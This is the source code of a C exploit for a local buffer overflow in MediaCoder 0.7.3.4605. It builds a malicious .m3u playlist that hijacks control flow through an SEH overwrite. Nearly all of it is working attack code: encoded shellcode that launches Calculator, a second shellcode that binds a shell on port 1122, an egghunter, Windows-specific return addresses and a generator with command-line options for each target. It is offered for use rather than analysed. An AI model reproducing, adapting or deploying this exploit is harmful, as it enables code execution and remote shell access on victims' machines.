Mediacoder 0.7.3.4605 – Local Buffer Overflow
/* Download: http://www.mediacoderhq.com/download.htm Compilation: mediac.c.......Win32(cygwin,Devcpp) Tested on Windows xp sp3 Date: 24.02.2010 1.We get control of EIP by overwriting a seh handler with pop pop retn instr and pass exception. 2.We position shellcode where is convienient(basicly anywhere in memory). 3.We position a egghunter at the top of the stack frame and we overwrite EIP with a jmp instr to land and execute it. Next it will search memory for our shellcode and execute it succesfully. Video here: http://www.youtube.com/watch?v=S1nAWuFzyGE */ #include<stdio.h> #include<getopt.h> #define pausescreen() getchar() #define FOR(i,a,b) for(i=a;i<b;++i) #define IFeq(a,b) if(a==b) #define IFless(a,b) if(a<b) #define IFgreat(a,b) if(a>b) #define IFneq(a,b) if(a!=b) #define IFnot(a) if(!a) #define split(s) exit(s) #define R return #define nul NULL #define VER "0.7.3.4605" #define POCNAME "MediaCoder local buffer overflow exploit" #define AUTHOR "fl0 fl0w" #define BUFFSIZE 0x1869F #define NSEH_OFFSET 0x2FC #define NOP "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" #define size(a) strlen(a) #define CLEAN(a) free(a) typedef char i8; typedef short i16; typedef int i32; typedef long i64; typedef const int ci32; enum{True=1,False=0,Error=-1}; void print(i8*); void gen_random(i8*,const int); void exploit(i8*,i8**); unsigned int getFsize(FILE*,i8*); void printshell(); void printret(); void print(i8*); void help(); struct { i8 *name; i32 size; i8 *type; }shellcode[]={ {"Calculator",343, "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47" "\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48" "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44" "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48" "\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33" "\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37" "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b" "\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57" "\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59" "\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56" "\x4e\x56\x43\x46\x42\x30\x5a"}, {"Bind port 1122",709, "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x37" "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48" "\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48" "\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44" "\x4b\x58\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58" "\x49\x38\x4e\x36\x46\x52\x4e\x41\x41\x56\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x38\x43\x34\x42\x53\x4b\x38\x42\x44\x4e\x30\x4b\x48" "\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x30\x50\x45\x4a\x46" "\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x36\x4a\x36\x43\x33\x44\x33\x4a\x46\x47\x57\x43\x57" "\x44\x43\x4f\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e" "\x48\x46\x41\x38\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x35\x43\x35\x43\x44" "\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x46\x50" "\x44\x36\x48\x36\x43\x35\x49\x38\x41\x4e\x45\x49\x4a\x36\x46\x4a" "\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31" "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x44\x48\x58\x49\x54\x47\x55\x4f\x4f\x48\x4d" "\x42\x55\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46" "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35" "\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x46\x43\x56" "\x4d\x36\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x45\x49\x32\x4e\x4c" "\x49\x38\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52" "\x43\x39\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" "\x48\x4d\x4b\x45\x47\x55\x44\x45\x41\x45\x41\x35\x41\x45\x4c\x56" "\x41\x50\x41\x45\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f" "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a" }, {nul,0,nul}}; struct {/*pop pop ret addr*/ unsigned int ret; i8* tname; }target[]={ {0x66015926, "Universal(libiconv-2.dll) =>" }, {0x72D115B8, "Windows xp sp2 en kernel32.dll =>" }, {0x7C902783, "Windows sp3 en ntdll.dll =>" }, {0x77E829EC, "Windows xp sp1 en =>" }, {0,nul} }; i8 egghunter[]=/*IsBadReadPtr egghunter 32 bytes*/ "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x66\x6C\x30\x77" //fl0w tag "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; i8 tag[]="\x66\x6C\x30\x77" "\x66\x6C\x30\x77"; i8 nseh[]="\xEB\x06\x90\x90"; i8 buffer[BUFFSIZE]; i32 c,sh; i8 *filen; i32 k; unsigned int retcode,eip; i32 main(i32 argc,i8** argv) { system("cls"); printf("[#]%s\n[#]Ver %s\n[#]Author %s\n",POCNAME,VER,AUTHOR); IFless(argc,2){ help(); print("Shellcode options:"); printshell(); printf("\n"); print("Retcode options:"); printret(); split(0);} while((c=getopt(argc,argv,"f:s:t:v"))!=-1){ switch(c){ case 'f': filen=optarg; break; case 's': sh=atoi(optarg); break; case 't': eip=atoi(optarg); break; case 'v': if(strcmp(argv[5],"-t")==0) k=8; else k=6; sscanf(argv[k],"%x",&retcode); break; default: help(); } } exploit(filen,argv); print("done!"); pausescreen(); R 0; } void exploit(i8* fname,i8** argv) { FILE* f=fopen(fname,"wb"); IFnot(f){ print("file won't write"); split(0); } gen_random(buffer,0x2FC); memcpy(buffer+NSEH_OFFSET,nseh,4); if(strcmp(argv[5],"-t")==0) memcpy(buffer+0x300,&target[eip].ret,4); else memcpy(buffer+0x300,&retcode,4); memcpy(buffer+0x304,NOP,0x14); memcpy(buffer+0x318,egghunter,size(egghunter)); memset(buffer+0x34A,0x41,0x4D2); memcpy(buffer+0x81C,tag,8); memcpy(buffer+0x824,shellcode[sh].type,shellcode[sh].size); fwrite(buffer,1,0x824+shellcode[sh].size,f); fclose(f); CLEAN(buffer); printf("[#]File size is: %d bytes\n",getFsize(f,fname)); } void print(i8* msg) { printf("[*]%s\n",msg); } void gen_random(char *s, const int len) { i32 i; static const char alphanum[]= { "0123456789ABCDEFGHIJKLMNOPQRST" "UVWXYZabcdefghijklmnopqrstuvwxyz"}; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } unsigned int getFsize(FILE* g,i8* gname) {unsigned int s; g=fopen(gname,"rb"); IFeq(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); R s;} void printshell() { i32 i; FOR(i,0,2){ printf("\t%d)%s %d bytes\n",i,shellcode[i].name,shellcode[i].size); } } void printret() { i32 j; FOR(j,0,4){ printf("\t%d)%s 0x%x\n",j,target[j].tname,target[j].ret); } } void help() { i8 h[]="***************************************************************************\n" "*syntax: [-f<file.m3u>] [-s<shellcode>] [-t<target>] [-v<your target>] *\n" "* -f filename *\n" "* -s shellcode to run 0 or 1 *\n" "* -t target *\n" "* -v your target *\n" "* example: mediacoder.exe -f vuln.m3u -s 0 -t 1 *\n" "* mediacoder.exe -f vuln.m3u -s 1 -v 0xFFFFFFFF *\n" "* *\n" "* *\n" "***************************************************************************\n"; printf("%s",h);} |